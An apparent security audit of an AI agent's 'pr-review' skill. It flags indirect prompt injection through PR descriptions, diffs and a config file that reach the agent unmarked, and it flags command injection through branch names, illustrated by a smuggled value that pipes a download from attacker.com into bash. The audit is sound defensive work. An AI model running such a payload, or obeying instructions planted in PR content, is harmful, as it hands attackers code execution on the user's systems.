The Agent Skills Directory

[INDIRECT_PROMPT_INJECTION]: The skill ingests untrusted data from multiple sources, including the PR URL/number, PR description, code diffs, and the local .aiwg/aiwg.config file. These inputs are processed by the agent to perform qualitative reviews (PM, Developer, QA, Security) without explicit boundary markers or instructions to ignore embedded malicious prompts within the code or comments.
Ingestion points: PR metadata, code diffs (via gh pr view), and project-level configuration files (.aiwg/aiwg.config).
Boundary markers: The instructions lack delimiters or warnings to treat external PR content strictly as data.
Capability inventory: The skill utilizes Bash(gh *) and Read tools, and executes a local regression utility.
Sanitization: No sanitization or validation of the ingested PR content or branch names is specified before they are used in logic or command arguments.
[COMMAND_EXECUTION]: The skill executes a local regression check utility at /regression-check and various version control commands (gh, glab, tea).
Command Injection Risk: Arguments for these commands, such as the --baseline <base-branch> in the regression check, are derived directly from PR metadata. If the branch name or PR metadata contains shell metacharacters (e.g., main; curl attacker.com | bash), it could lead to arbitrary command execution if the agent or the platform does not properly sanitize these inputs.

pr-review